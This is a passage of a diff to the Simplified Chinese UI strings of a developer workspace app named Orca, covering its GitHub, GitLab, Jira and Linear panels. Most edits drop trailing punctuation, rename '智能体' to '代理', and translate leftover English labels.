         "2e77dc2053": "GitHub 链接已复制",
-        "2ef631437e": "无法打开此议题所附的工作区。",
+        "2ef631437e": "无法打开此议题所附的工作区",
         "bf43425540": "评论",
         "0a73f59e85": "发送评论",
         "c5c117270e": "添加评论...",
@@ -1649,10 +1891,10 @@
         "00ccdf9b5a": "状态",
         "2aa9acdf34": "在 GitHub 上编辑标签",
         "e52bed9264": "尚未报告任何 CI 检查",
-        "90020cc1f3": "此PR尚未报告检查。",
+        "90020cc1f3": "此拉取请求尚未报告检查",
         "ecffebc251": "未找到检查",
         "checkOpenInBrowser": "在浏览器中打开",
-        "744197c84d": "此检查没有可用的内联输出。",
+        "744197c84d": "此检查没有可用的内联输出",
         "08d072664d": "任务",
         "96d8f36798": "注释",
         "485609c4f2": "检查 #",
@@ -1662,16 +1904,16 @@
         "934d87ab96": "正在加载检查详细信息...",
         "71c11aff84": "重新运行所有检查",
         "1b56e28faa": "重新运行",
-        "f4b1292569": "在这些检查中启动默认的 AI 智能体",
+        "f4b1292569": "在这些检查中启动默认的 AI 代理",
         "9a1004fc76": "刷新检查",
-        "03e542fcfe": "无法为失败的检查启动 AI 智能体：{{value0}}",
-        "28986b3747": "已启动 AI 智能体处理失败的检查。",
-        "1690fd7f4a": "没有需要修复的失败检查。",
+        "03e542fcfe": "无法为失败的检查启动 AI 代理：{{value0}}",
+        "28986b3747": "已启动 AI 代理处理失败的检查",
+        "1690fd7f4a": "没有需要修复的失败检查",
         "9e7c221b8d": "无法重新运行检查",
         "e463ec935f": "检查请求重新运行",
         "ddafe851e1": "检查请求重新运行",
         "0bbdc673c1": "刷新检查失败",
-        "e7007aa1d8": "如果没有仓库路径，则无法刷新检查。",
+        "e7007aa1d8": "如果没有存储库路径，则无法刷新检查",
         "675bc0d638": "取消",
         "53fe19aefc": "打开 GitHub 合并框",
         "a2495e4784": "PR",
@@ -1679,40 +1921,40 @@
         "825a8fb8cd": "无法启用自动合并",
         "4b390bd50d": "自动合并已禁用",
         "a35ea5a0f6": "启用自动合并",
-        "aba792c8b3": "合并PR失败",
+        "aba792c8b3": "合并 PR 失败",
         "dbe5e2448e": "拉取请求已合并",
-        "a27ee5ca1a": "这将更新 GitHub 上的PR。",
+        "a27ee5ca1a": "这将更新 GitHub 上的 PR",
         "bd3b4492a0": "拉取请求已重新打开",
-        "9f88657c4e": "PR已关闭",
-        "b6f1b7adbd": "这将在 GitHub 上重新打开PR。",
-        "de45fedf7b": "这将关闭 GitHub 上的PR。",
-        "5a94f3d0e9": "还没有评论。",
+        "9f88657c4e": "拉取请求已关闭",
+        "b6f1b7adbd": "这将在 GitHub 上重新打开 PR",
+        "de45fedf7b": "这将关闭 GitHub 上的 PR",
+        "5a94f3d0e9": "还没有评论",
         "1506916c09": "评论",
-        "9b9cb55994": "没有提供描述。",
+        "9b9cb55994": "没有提供描述",
         "52b20b56f7": "描述",
         "4d555d3796": "编辑描述",
         "9df4e74bdf": "保存",
         "a154ec5224": "在 GitHub 上打开评论",
         "bca8eb39ac": "回复评论",
         "68cb993d61": "已解决",
-        "10f4ff5be8": "回复已发布。",
-        "745c9089ec": "如果没有仓库路径，则无法回复。",
-        "58c73cb0d8": "无法更新描述。",
-        "5221548274": "描述已更新。",
+        "10f4ff5be8": "回复已发布",
+        "745c9089ec": "如果没有存储库路径，则无法回复",
+        "58c73cb0d8": "无法更新描述",
+        "5221548274": "描述已更新",
         "06c06e58ba": "显示下面更多行",
         "307c98e8e3": "在上面显示 {{value0}} 更多行",
         "showMoreLinesBelow": "在下方再显示 {{value0}} 行",
         "5664681624": "显示上面的更多行",
         "b1574e8ac2": "重置代码上下文",
         "d43736d09c": "代码上下文控制",
-        "bd7be7b1fd": "comment L",
+        "bd7be7b1fd": "评论 L",
         "db61d76cd5": "正在加载代码上下文...",
         "1257d1435d": "显示文件树",
-        "a341343303": "已添加评审评论。",
-        "d1fa2cf888": "没有 PR head SHA 就无法发表评论。",
-        "829674460a": "Diff 不可用，因为 PR commit SHA 丢失。",
+        "a341343303": "已添加评审评论",
+        "d1fa2cf888": "没有 PR head SHA 就无法发表评论",
+        "829674460a": "差异不可用，因为 PR 提交 SHA 缺失",
         "af924014f8": "已查看",
-        "70e84e3d0b": "没有匹配的评审人。",
+        "70e84e3d0b": "没有匹配的评审人",
         "1ffce94a8b": "其他人",
         "c2b21818e1": "建议",
         "a98433e73d": "加载中...",
@@ -1728,7 +1970,7 @@
         "73487fb975": "移除评审人失败",
         "2e69540652": "已移除评审人",
         "69515bff81": "已移除评审人",
-        "b4af16bf43": "没有可用于此PR的仓库上下文。",
+        "b4af16bf43": "没有可用于此拉取请求的仓库上下文",
         "c42d942b75": "请求评审人失败",
         "c016e4bac3": "已请求评审",
         "ea985e657f": "已请求评审",
@@ -1740,31 +1982,31 @@
         "7d42606f66": "批注",
         "2511f44bb7": "修复失败的检查",
         "9157d48ddb": "修复检查",
-        "06482d6190": "无法自动创建修复工作区。",
+        "06482d6190": "无法自动创建修复工作区",
         "f64dd90102": "回复",
         "5752c25aff": "发布…",
         "ec5c4b3ab2": "重新打开 PR",
-        "21860b58d0": "关闭PR",
+        "21860b58d0": "关闭 PR",
         "5932578f51": "合并需要注册本地仓库",
         "080d071d48": "回复@{{value0}}",
-        "86f809e2ce": "在此评审线程中回复",
+        "86f809e2ce": "在此评论主题中回复",
         "136542c9ba": ":L{{value0}}",
-        "283699bc82": "无法发表回复。",
+        "283699bc82": "无法发表回复",
         "d1c0dad471": "-L{{value0}}",
         "31770bef03": "并排",
         "6e43a16435": "内联",
         "d00a0a7f8f": "全部折叠",
         "3c19ec3069": "全部展开",
-        "b0b09778c8": "添加评审评论失败。",
+        "b0b09778c8": "无法添加评论",
         "16c1abe76c": "标记已查看",
         "ba8e329d92": "取消标记已查看",
-        "3f79ffc8b7": "打开 PR 详情以查看当前评审人。",
+        "3f79ffc8b7": "打开 PR 详情以查看当前评审人",
         "5c1c973855": "移除评审人",
-        "commentTooLarge": "评论过长，无法安全提交。",
+        "commentTooLarge": "评论过长，无法安全提交",
         "timeline": {
           "someone": "某人",
           "activity": "活动",
-          "noActivity": "暂无活动。",
+          "noActivity": "暂无活动",
           "pullRequestReference": "PR #{{number}}",
           "issueReference": "议题 #{{number}}",
           "movedFromToInProject": "<actor/> 在 <project/> 中将此项从 <from/> 移至 <to/>",
@@ -1787,18 +2029,18 @@
           "mentionedThis": "<actor/> 提到了此项",
           "reopenedThis": "<actor/> 重新打开了此项"
         },
-        "checkActionRequiredHint": "需要在 GitHub 上执行手动操作（例如批准运行）才能解除合并阻止。",
-        "e15a8b77ef": "此检查没有可用的内联详细信息。",
-        "e45324fbed": "无法加载检查详细信息。",
+        "checkActionRequiredHint": "需要在 GitHub 上执行手动操作（例如批准运行）才能解除合并阻止",
+        "e15a8b77ef": "此检查没有可用的内联详细信息",
+        "e45324fbed": "无法加载检查详细信息",
         "dcb3c546fe": "重试",
         "85a2b66f54": "在 GitHub 上打开文件",
         "86d84a17ca": "添加评审评论",
-        "d9fa90b625": "无法加载差异。",
+        "d9fa90b625": "加载差异失败",
         "4aecf121e7": "关闭",
         "8812225174": "重新打开",
-        "09d67a0f9b": "无法关闭拉取请求",
-        "88809e79db": "无法重新提交拉取请求",
-        "00f55cc17b": "此拉取请求无法访问仓库。",
+        "09d67a0f9b": "关闭拉取请求失败",
+        "88809e79db": "重新打开拉取请求失败",
+        "00f55cc17b": "无法访问此拉取请求的仓库",
         "reactionCount_other": "{{count}} 个“{{reaction}}”反应",
         "filesViewed_other": "已查看 {{viewed}} / {{count}} 个文件",
         "updatedRelativeTime": "更新于 {{time}}",
@@ -1815,15 +2057,15 @@
         "f2e64d1c20": "在 GitLab 中打开",
         "84012fa8fb": "评论",
         "c08e1d5a57": "评论 {{value0}}{{value1}}...",
-        "f11e3e7675": "此 MR 没有运行任何管道。",
-        "808b1ca1ba": "没有更改的文件。",
-        "007423f585": "差异内容不可用。",
+        "f11e3e7675": "此 MR 没有运行任何管道",
+        "808b1ca1ba": "没有更改的文件",
+        "007423f585": "差异内容不可用",
         "a7eb4f4916": "从",
         "21f8dde18a": "内嵌评论",
         "7a7204417f": "线",
         "ceb08a733d": "文件",
-        "85a8170279": "还没有评论。",
-        "14423484db": "没有描述。",
+        "85a8170279": "还没有评论",
+        "14423484db": "没有描述",
         "da4174b00f": "编辑",
         "93f79a3fc1": "保存",
         "f72fad3b16": "取消",
@@ -1849,11 +2091,11 @@
         "865ea2703e": "已重新打开 MR !{{value0}}",
         "9b11cd233f": "已关闭 MR !{{value0}}",
         "60c13320c4": "添加了内嵌评论",
-        "ffdd9a78e1": "MR diff refs 不可用于内嵌注释。",
-        "00d0d25825": "文件、行和注释是必需的。",
-        "ceaf7c30c7": "此 GitLab 用户无法获取评审人 ID。",
+        "ffdd9a78e1": "MR 差异引用不可用于内嵌注释",
+        "00d0d25825": "文件、行和注释是必需的",
+        "ceaf7c30c7": "此 GitLab 用户无法获取评审人 ID",
         "f7cb495a12": "重试 {{value0}}",
-        "98718490e4": "MR 职称是必需的。",
+        "98718490e4": "MR 职称是必需的",
         "d600c2619a": "加载日志",
         "028bde664e": "隐藏",
         "2f9b27f838": "工作日志",
@@ -1863,10 +2105,10 @@
         "6de8ce0cc6": "需要 {{value0}}",
         "22511537d2": "已批准",
         "3a051b8ade": "工作项目",
-        "32f8bef818": "无日志输出。",
+        "32f8bef818": "无日志输出",
         "4168eb2c51": "解决",
-        "commentTooLarge": "评论过长，无法安全提交。",
-        "gitlabActionFailed": "GitLab 操作失败。",
+        "commentTooLarge": "评论过长，无法安全提交，",
+        "gitlabActionFailed": "GitLab 操作失败",
         "approvalsRemainingOfRequired_other": "共需 {{required}} 个批准，还差 {{count}} 个",
         "approvalsRemaining_other": "还需 {{count}} 个批准"
       },
@@ -1874,10 +2116,10 @@
         "b0b92666c9": "评论",
         "a585fd204e": "添加 Jira 评论...",
         "2441be6f9f": "启动工作区",
-        "9178090e26": "还没有评论。",
+        "9178090e26": "还没有评论",
         "5cd09beaf9": "重试",
         "9a980b06b9": "评论",
-        "c4889a47e4": "没有提供描述。",
+        "c4889a47e4": "没有提供描述",
         "0f3c07a901": "后端、错误",
         "aee97b6913": "标签",
         "444865b4a8": "标题",
@@ -1885,37 +2127,37 @@
         "51bed73f88": "无优先权",
         "7a96985ca0": "关闭",
         "76513c7898": "关闭 Jira 议题预览",
-        "857bd2f88f": "预览、编辑并从选定的议题开始工作。",
+        "857bd2f88f": "预览、编辑并从选定的议题开始工作",
         "0cc62bd690": "复制提示",
         "80efa101c5": "复制建议的分支名称",
         "38839801e8": "复制键",
         "779bb91ee0": "复制网址",
         "69da9a208c": "在 Jira 中打开",
-        "fa132c8aed": "添加评论失败。",
-        "ea21952aa3": "无法更新 Jira 议题。",
+        "fa132c8aed": "添加评论失败",
+        "ea21952aa3": "无法更新 Jira 议题",
         "666cfdd835": "未知",
         "ef21405c6d": "Jira 议题",
-        "commentTooLarge": "评论过长，无法安全提交。"
+        "commentTooLarge": "评论过长，无法安全提交"
       },
       "Landing": {
         "f9eaa9e12d": "添加项目",
         "6ca6ff404e": "ORCA",
         "520304a067": "Orca 标志",
         "c1cf168479": "隐藏",
-        "00cee697c1": "在终端中运行“gh auth login”以连接您的 GitHub 账户。",
+        "00cee697c1": "在终端中运行\"gh auth login\"以连接您的 GitHub 账户",
         "9f96d018b7": "GitHub CLI 未经过身份验证",
-        "73e1ad4282": "Orca 使用 GitHub CLI (gh) 来显示PR、议题和检查。",
+        "73e1ad4282": "Orca 使用 GitHub CLI (gh) 来显示 PR、议题和检查",
         "5beaef5f9e": "GitHub CLI 未安装",
-        "b673e7cf1b": "Git 项目、源代码控制和工作区管理需要 Git。",
+        "b673e7cf1b": "Git 项目、源代码控制和工作区管理需要 Git",
         "e5b7296d9d": "未安装 Git",
-        "cd21242762": "添加一个项目即可开始。",
-        "9c00bd4adf": "从侧边栏中选择一个工作区开始。",
-        "0d0ace8861": "在 GitHub 上加星标",
-        "ec43b38ba7": "已在 GitHub 上加星标",
+        "cd21242762": "添加一个项目即可开始",
+        "9c00bd4adf": "从侧边栏中选择一个工作区开始",
+        "0d0ace8861": "在 GitHub 上 Star",
+        "ec43b38ba7": "感谢您的 Star",
         "157bb5ecbb": "打开 GitHub",
         "preflightDismiss": "关闭",
-        "moveUpWorkspace": "选择上一个工作区",
-        "moveDownWorkspace": "选择下一个工作区",
+        "moveUpWorkspace": "上移工作区",
+        "moveDownWorkspace": "下移工作区",
         "installGit": "安装 Git",
         "installGitHubCli": "安装 GitHub CLI",
         "learnMore": "了解更多"
@@ -1938,7 +2180,7 @@
         "68a41d5665": "正文",
         "7c52151156": "议题描述格式",
         "5c16ec8f14": "链接网址",
-        "4f2fddc2b7": "没有提供描述。"
+        "4f2fddc2b7": "没有提供描述"
       },
       "LinearIssueTextEditor": {
         "947ba2d6f4": "保存",
@@ -1946,7 +2188,7 @@
         "1e08a1ec80": "标题为必填项"
       },
       "LinearIssueWorkspace": {
-        "ad5dec37b7": "预览、编辑并从选定的议题开始工作。",
+        "ad5dec37b7": "预览、编辑并从选定的议题开始工作",
         "c23e79e5c0": "操作",
         "b0eac92d85": "重试",
         "543970c87a": "活动",
@@ -1975,8 +2217,8 @@
         "61f424f8ca": "Linear 议题",
         "ca8778c124": "未知",
         "65239a714b": "Linear",
-        "76ffd3c937": "搜索要添加的项目。",
-        "c11b4e3cc2": "没有找到项目。",
+        "76ffd3c937": "搜索要添加的项目",
+        "c11b4e3cc2": "没有找到项目",
         "519c3587f3": "添加到项目",
         "openAttachedWorkspace": "打开关联到议题的工作区",
         "openWorkspace": "打开工作区",
@@ -1991,11 +2233,11 @@
       },
       "LinearItemDrawer": {
         "04008e6c46": "从议题开始工作区",
-        "a4fcc57522": "还没有评论。",
+        "a4fcc57522": "还没有评论",
         "fde849b2b6": "评论",
         "9dc54172db": "关闭 · Esc",
         "0190b760c1": "在 Linear 中打开",
-        "04a442f796": "预览并编辑选定的 Linear 议题。",
+        "04a442f796": "预览并编辑选定的 Linear 议题",
         "d369841269": "发送评论",
         "2fcff829a8": "添加评论...",
         "2820f0f0f0": "发表评论...",
@@ -2005,7 +2247,6 @@
         "23886c7eec": "添加标签",
         "7f7b89b631": "标签： {{value0}}",
         "b2376d0179": "正在加载成员",
-        "866316f22c": "未分配",
         "b5675b0694": "保存",
         "ceeb8c6153": "清除",
         "fbb90300e2": "定制估价",
@@ -2019,7 +2260,7 @@
         "39883467f4": "Linear 议题",
         "fda549766e": "{{value0}} 发表评论",
         "d71cd3003e": "+ 负责人",
-        "commentTooLarge": "评论过长，无法安全提交。",
+        "commentTooLarge": "评论过长，无法安全提交",
         "openAttachedWorkspace": "打开关联到议题的工作区",
         "openWorkspace": "打开工作区",
         "moreWorkspaceActions": "更多议题工作区操作",
@@ -2029,28 +2270,28 @@
       },
       "NewWorkspaceComposerCard": {
         "openExistingWorkspace": "打开现有工作区",
-        "cbb47ee0dc": "仅适用于本地 Git 项目。",
-        "d861de981b": "稀疏检出",
+        "cbb47ee0dc": "仅适用于本地 Git 项目",
+        "d861de981b": "部分检出",
         "090cfedeb4": "写备注",
         "f8728aa4f9": "备注",
         "0ee17638fe": "工作区名称",
         "2688050e4b": "名称",
         "f0470c7383": "高级",
-        "ba64270bdb": "配置智能体",
-        "ab63f25397": "打开智能体设置",
+        "ba64270bdb": "配置代理",
+        "ab63f25397": "打开代理设置",
         "0c5d6a479c": "[可选]",
         "dccd26d4e4": "选择项目",
         "d6b0a96f32": "添加项目",
         "969a8bff66": "项目",
         "23bb365554": "orca.yaml",
         "a239038146": "SSH 连接错误",
-        "9a70e4859e": "选择是否在创建此工作区前运行设置。",
+        "9a70e4859e": "选择是否在创建此工作区前运行设置",
         "803b7fe72f": "正在检查设置配置...",
         "92e34f0311": "本地设置",
         "326a578923": "orca.yaml + 本地",
         "ac3748dcda": "创建来源",
         "f660aa1454": "连接中",
-        "addProjectBeforeWorkspace": "在创建工作区之前添加项目。",
+        "addProjectBeforeWorkspace": "在创建工作区之前添加项目",
         "connectProjectFirst": "请先连接此项目",
         "sshNotConnected": "SSH 未连接",
         "connectingSsh": "正在连接 SSH...",
@@ -2061,44 +2302,44 @@
         "sshReconnectionFailed": "SSH 重新连接失败",
         "notConnected": "未连接",
         "runOn": "运行于",
-        "notePasteTooLarge": "笔记字段的粘贴内容过大。",
+        "notePasteTooLarge": "笔记字段的粘贴内容过大",
         "createMultiple": "创建更多",
-        "waitForSetupBeforeAgent": "等待设置完成后再启动智能体",
+        "waitForSetupBeforeAgent": "等待设置完成后再启动代理",
         "destroyDisabled": "已禁用销毁",
         "destroyConfigured": "已配置销毁",
         "noDestroyConfigured": "未配置销毁",
         "ephemeralVm": "工作区专属环境",
         "chooseRunTarget": "选择目标",
-        "noRunTargets": "此项目还没有可用的运行目标。",
+        "noRunTargets": "此项目还没有可用的运行目标",
         "perWorkspaceEnvHint": "通过环境模板按需创建环境",
         "branchName": "分支名称",
         "branchNamePlaceholder": "feature/my-branch",
-        "connectTimedOut": "连接超时，可能仍在后台连接中。",
-        "connectingHost": "Connecting…",
-        "connectHost": "Connect",
-        "addHost": "Add host",
+        "connectTimedOut": "连接超时，可能仍在后台连接中",
+        "connectingHost": "正在连接…",
+        "connectHost": "连接",
+        "addHost": "添加主机",
         "addSshHost": "添加 SSH 主机",
         "addSshHostHint": "通过 SSH 使用现有机器",
         "addRemoteOrcaServer": "添加远程 Orca 服务器",
         "addRemoteOrcaServerHint": "配对另一个 Orca 运行时",
-        "hostConnectionFailed": "Connection failed",
-        "defaultBranchUpdateFailed": "无法更新项目默认分支。再试一次。",
+        "hostConnectionFailed": "连接失败",
+        "defaultBranchUpdateFailed": "无法更新项目的默认分支，请重试",
         "setLocation": "设置项目位置",
-        "setLocationOnHost": "将项目位置设置为 {{host}}",
-        "setLocationTooltip": "选择一个文件夹或将此项目克隆到 {{host}} 上。",
+        "setLocationOnHost": "设置项目在 {{host}} 上的位置",
+        "setLocationTooltip": "选择文件夹，或将此项目克隆到 {{host}}",
         "connect": "连接",
         "reconnect": "重新连接",
         "setupConfigDefaultTabs": "默认标签页命令",
         "setupConfigSetupAndDefaultTabs": "设置及默认标签页命令",
         "setupConfigSetupScript": "设置脚本",
         "runDefaultTabCommands": "运行默认标签页命令",
-        "runSetupAndDefaultTabCommands": "运行设置及默认标签页命令",
+        "runSetupAndDefaultTabCommands": "运行设置与默认标签页命令",
         "runSetupCommand": "运行设置命令",
         "askRunDefaultTabCommands": "立即运行默认标签页命令？",
         "askRunSetupAndDefaultTabCommands": "立即运行设置及默认标签页命令？",
         "askRunSetup": "立即运行设置？",
-        "runSetupNow": "立即运行设置",
-        "runCommandsNow": "立即运行命令",
+        "runSetupNow": "现在运行设置",
+        "runCommandsNow": "现在运行命令",
         "skipForNow": "暂时跳过",
         "skipCommands": "跳过命令",
         "connectProject": "连接 {{name}}"
@@ -2119,7 +2360,7 @@
       },
       "PullRequestPage": {
         "2560588245": "请求评审人失败",
-        "6ad2c1ab9c": "没有更改任何文件。",
+        "6ad2c1ab9c": "没有更改任何文件",
         "4d18310d55": "文件已更改",
         "94d95cf1f7": "检查项",
         "9e8d45700e": "对话",
@@ -2133,7 +2374,7 @@
         "347034903a": "复制 GitHub 链接",
         "e0b15c793f": "复制 GitHub 链接失败",
         "992e799227": "GitHub 链接已复制",
-        "61bfc81ada": "无法打开附加到此PR的工作区。",
+        "61bfc81ada": "无法打开附加到此拉取请求的工作区",
         "161d91ef02": "发送评论",
         "d2030fc8cd": "添加评论...",
         "1208347ac0": "添加评论失败",
@@ -2143,13 +2384,13 @@
         "b936cc51a4": "已关闭",
         "7b8f6bf6d8": "开放",
         "a18d01cda3": "尚未报告任何 CI 检查",
-        "3912daf310": "此PR尚未报告检查。",
+        "3912daf310": "此拉取请求尚未报告检查",
         "45877f5089": "未找到检查",
-        "85e62c5266": "已启动 AI 智能体处理失败的检查。",
-        "ddfd42f460": "启动智能体前请查看提示词。",
+        "85e62c5266": "已启动 AI 代理处理失败的检查",
+        "ddfd42f460": "启动代理前请查看提示词",
         "a053bdd082": "用 AI 修复失败的检查",
         "1b14d0a69c": "在 GitHub 中打开",
-        "1550675e5f": "此检查没有可用的内联输出。",
+        "1550675e5f": "此检查没有可用的内联输出",
         "7720c9c3f5": "任务",
         "8432d17901": "注释",
         "f01bf79a79": "检查 #",
@@ -2159,15 +2400,15 @@
         "d8e82b7f15": "正在加载检查详细信息...",
         "54cddd1858": "重新运行所有检查",
         "522d9353e1": "重新运行",
-        "0fa8b8faec": "在这些检查中启动默认的 AI 智能体",
+        "0fa8b8faec": "在这些检查中启动默认的 AI 代理",
         "5d0f42766d": "刷新检查",
-        "98583589c6": "无法为失败的检查启动 AI 智能体：{{value0}}",
-        "51c65c0265": "没有需要修复的失败检查。",
+        "98583589c6": "无法为失败的检查启动 AI 代理：{{value0}}",
+        "51c65c0265": "没有需要修复的失败检查",
         "788a782bb0": "无法重新运行检查",
         "18f2af42ac": "检查请求重新运行",
         "5963a6a852": "检查请求重新运行",
         "246b2c6456": "刷新检查失败",
-        "c057f2fcb0": "如果没有仓库路径，则无法刷新检查。",
+        "c057f2fcb0": "如果没有存储库路径，则无法刷新检查",
         "6591b1fa82": "取消",
         "7df8d5fc60": "打开 GitHub 合并框",
         "1939d0f663": "PR",
@@ -2175,31 +2416,31 @@
         "d31f4b508c": "无法启用自动合并",
         "0f5821b035": "自动合并已禁用",
         "5edbe7eefa": "启用自动合并",
-        "aae645d36d": "合并PR失败",
+        "aae645d36d": "合并 PR 失败",
         "c57873d721": "拉取请求已合并",
-        "a63b3c159c": "这将更新 GitHub 上的PR。",
+        "a63b3c159c": "这将更新 GitHub 上的 PR",
         "710e47aa06": "拉取请求已重新打开",
-        "7aa3b5f706": "PR已关闭",
-        "3d77438c92": "这将在 GitHub 上重新打开PR。",
-        "5a65651096": "这将关闭 GitHub 上的PR。",
-        "d2d589556c": "还没有评论。",
+        "7aa3b5f706": "拉取请求已关闭",
+        "3d77438c92": "这将在 GitHub 上重新打开 PR",
+        "5a65651096": "这将关闭 GitHub 上的 PR",
+        "d2d589556c": "还没有评论",
         "3463d10a63": "评论",
-        "c8ea6c7c4c": "没有提供描述。",
+        "c8ea6c7c4c": "没有提供描述",
         "778683ec84": "描述",
         "da9aaa8bcf": "编辑描述",
         "4a337ac05f": "保存",
         "0ac19bb52e": "在 GitHub 上打开评论",
         "d6c6679de7": "回复评论",
         "76b2a0ac5b": "已解决",
-        "11505c7a71": "回复已发布。",
-        "6885c619e7": "如果没有仓库路径，则无法回复。",
-        "d94810f652": "无法更新描述。",
-        "9b4190dc98": "描述已更新。",
+        "11505c7a71": "回复已发布",
+        "6885c619e7": "如果没有存储库路径，则无法回复",
+        "d94810f652": "无法更新描述",
+        "9b4190dc98": "描述已更新",
         "319cf2d54b": "显示文件树",
-        "eff839f438": "已添加评审评论。",
-        "d8c3ba91c4": "没有 PR head SHA 就无法发表评论。",
-        "74660bd80b": "Diff 不可用，因为 PR commit SHA 丢失。",
-        "5ad00c7a0e": "没有匹配的评审人。",
+        "eff839f438": "已添加评审评论",
+        "d8c3ba91c4": "没有 PR head SHA 就无法发表评论",
+        "74660bd80b": "差异不可用，因为 PR 提交 SHA 缺失",
+        "5ad00c7a0e": "没有匹配的评审人",
         "2760fa29a4": "其他人",
         "828f045847": "建议",
         "57750f4a8c": "加载中...",
@@ -2215,7 +2456,7 @@
         "c798fa0ec7": "移除评审人失败",
         "1e6d089420": "已移除评审人",
         "2c1d93da43": "已移除评审人",
-        "1ae11c905c": "没有可用于此PR的仓库上下文。",
+        "1ae11c905c": "没有可用于此拉取请求的仓库上下文",
         "102d3d177f": "已请求评审",
         "03282ff3b9": "已请求评审",
         "8f369a6b6b": "最多可请求 15 名评审人",
@@ -2226,37 +2467,37 @@
         "35a0573f41": "批注",
         "a4541fd3db": "修复失败的检查",
         "c808db1dd1": "修复检查",
-        "c4c02ea23e": "无法自动创建修复工作区。",
+        "c4c02ea23e": "无法自动创建修复工作区",
         "f119e5f5ef": "回复",
         "894cfd884b": "发布…",
         "9d5425918e": "重新打开 PR",
-        "96d013ed28": "关闭PR",
+        "96d013ed28": "关闭 PR",
         "eca289e593": "合并需要注册本地仓库",
         "31a7b202f2": "回复@{{value0}}",
-        "408e634fbb": "在此评审线程中回复",
+        "408e634fbb": "在此评论主题中回复",
         "34b9f7c264": ":L{{value0}}",
-        "5821aab360": "无法发表回复。",
+        "5821aab360": "无法发表回复",
         "1378d79e83": "并排",
         "e5f4a24f78": "内联",
         "dd94111c18": "全部折叠",
         "eb722a5a8c": "全部展开",
-        "19628e058d": "添加评审评论失败。",
-        "56ec6eafb7": "打开 PR 详情以查看当前评审人。",
+        "19628e058d": "无法添加评论",
+        "56ec6eafb7": "打开 PR 详情以查看当前评审人",
         "7f964a365a": "移除评审人",
-        "commentTooLarge": "评论过长，无法安全提交。",
-        "checkActionRequiredHint": "需要在 GitHub 上执行手动操作（例如批准运行）才能解除合并阻止。",
+        "commentTooLarge": "评论过长，无法安全提交",
+        "checkActionRequiredHint": "需要在 GitHub 上执行手动操作（例如批准运行）才能解除合并阻止",
         "dd5d9a4f17": "{{value0}}更新",
         "71a3c0f9d2": "启动工作区",
-        "filesUnavailable": "无法加载变更的文件。",
-        "filesRetry": "Retry",
+        "filesUnavailable": "无法加载变更的文件",
+        "filesRetry": "重试",
         "77482513f8": "关闭",
         "2f5195c6a0": "重新开启",
-        "4b8ae7303f": "加载差异失败。",
+        "4b8ae7303f": "加载差异失败",
         "closePullRequestFailed": "关闭PR失败",
         "reopenPullRequestFailed": "重新打开PR失败",
-        "diffLoadTimedOut": "加载此差异超时。",
-        "6b1d5ee3e4": "此检查没有可用的内联详细信息。",
-        "e04c027d98": "无法加载检查详细信息。",
+        "diffLoadTimedOut": "加载此差异超时",
+        "6b1d5ee3e4": "此检查没有可用的内联详细信息",
+        "e04c027d98": "无法加载检查详细信息",
         "5df7c41d2a": "重试",
         "filesViewed_other": "已查看 {{viewed}} / {{count}} 个文件",
         "updatedRelativeTime": "更新于 {{time}}",
@@ -2276,7 +2517,7 @@
         "95fccbae88": "Esc",
         "61b1c871a6": "打开",
         "250e5b2dfb": "回车",
-        "74e2e1b3e4": "没有匹配的文件。",
+        "74e2e1b3e4": "没有匹配的文件",
         "722a21e1a8": "正在加载文件...",
         "1cb6ef47b7": "转到文件...",
         "9e97f08d0f": "搜索要打开的文件",
@@ -2285,18 +2526,18 @@
         "995be8ea22": "复制",
         "cf144856dc": "已复制",
         "filesFound_other": "找到 {{count}} 个文件",
-        "hostCouldNotOpenPath": "主机无法打开此文件路径。",
-        "chooseFileNotDirectory": "请选择文件，而非目录。"
+        "hostCouldNotOpenPath": "主机无法打开此文件路径",
+        "chooseFileNotDirectory": "请选择文件，而非目录"
       },
       "SelectedTextCopyMenu": {
         "9b40d7b018": "复制"
       },
       "StarNagCard": {
-        "30c36231c1": "Orca 是开源项目。如果它今天帮到了你，GitHub 星标会帮助其他开发者找到它。",
+        "30c36231c1": "Orca 是开源项目，如果它今天帮到了你，GitHub 星标会帮助其他开发者找到它",
         "b5e685e4d9": "关闭",
         "5f6df21046": "喜欢 Orca 吗？",
-        "2d67b6c849": "在 GitHub 上加星标",
-        "af3c9bbb37": "正在加星标...",
+        "2d67b6c849": "在 GitHub 上点击 Star",
+        "af3c9bbb37": "正在Star…",
         "d32015fec7": "正在打开...",
         "157bb5ecbb": "打开 GitHub",
         "8c967b4d15": "稍后"
@@ -2309,12 +2550,12 @@
         "1f0fce91e3": "选择{{value0}}",
         "cbcdcbe244": "正在加载所需的 Jira 字段...",
         "34d97ca682": "这是怎么回事？",
-        "f161bf9ede": "说明（可选）",
+        "f161bf9ede": "说明(可选)",
         "578f730c16": "简短摘要",
         "16cba35bee": "标题",
         "ae592fee62": "议题类型",
         "7d63e2626e": "加载中...",
-        "93c57f15e5": "没有找到项目。",
+        "93c57f15e5": "没有找到项目",
         "cfb56a7868": "搜索项目...",
         "00022ec0ba": "项目",
         "0c11ca0b6d": "新建 Jira 议题",
@@ -2332,7 +2573,7 @@
         "9bc8aea407": "添加描述...",
         "d9151fd4e9": "议题标题",
         "4f3cb99f41": "切换团队",
-        "c11105dac5": "新建议题",
+        "c11105dac5": "新一期",
         "1b59a07674": "创建中...",
         "cf72580c04": "撰写描述、项目简介或收集想法...",
         "2ea1c701b6": "目标日期",
@@ -2348,16 +2589,16 @@
         "b6795e65fd": "关闭",
         "a98cbe7664": "团队",
         "02f67c0d09": "新项目",
-        "bdebffcbfe": "为所选团队创建 Linear 项目。",
+        "bdebffcbfe": "为所选团队创建 Linear 项目",
         "1361275ec3": "新建 Linear 项目",
-        "7f3f7b4c18": "描述（可选，markdown）",
+        "7f3f7b4c18": "描述(可选，markdown)",
         "d3d0998b7d": "新的 GitHub 议题",
         "6244a02f46": "在 Linear 中打开",
         "606a85c774": "开放",
-        "592a55611b": "尝试选择更多的团队或者刷新；团队筛选条件适用于当前获取的议题集。",
+        "592a55611b": "尝试选择更多的团队或者刷新，团队筛选条件适用于当前获取的议题集",
         "618107fab3": "没有获取到与所选团队匹配的议题",
         "903c7af49f": "未找到 Linear 议题",
-        "5ed38a49e5": "查看下面的工作区错误，然后刷新。",
+        "5ed38a49e5": "查看下面的工作区错误，然后刷新",
         "cc8795e07c": "无法加载 Linear 议题",
         "f362667d55": "已更新",
         "b1eaa18ace": "议题",
@@ -2378,17 +2619,17 @@
         "dfc0c79bd8": "议题",
         "8a07f21e76": "健康",
         "851017590d": "添加 Linear 访问",
-        "228b25028f": "直接从这里浏览并开始处理分配给您的 Linear 议题。",
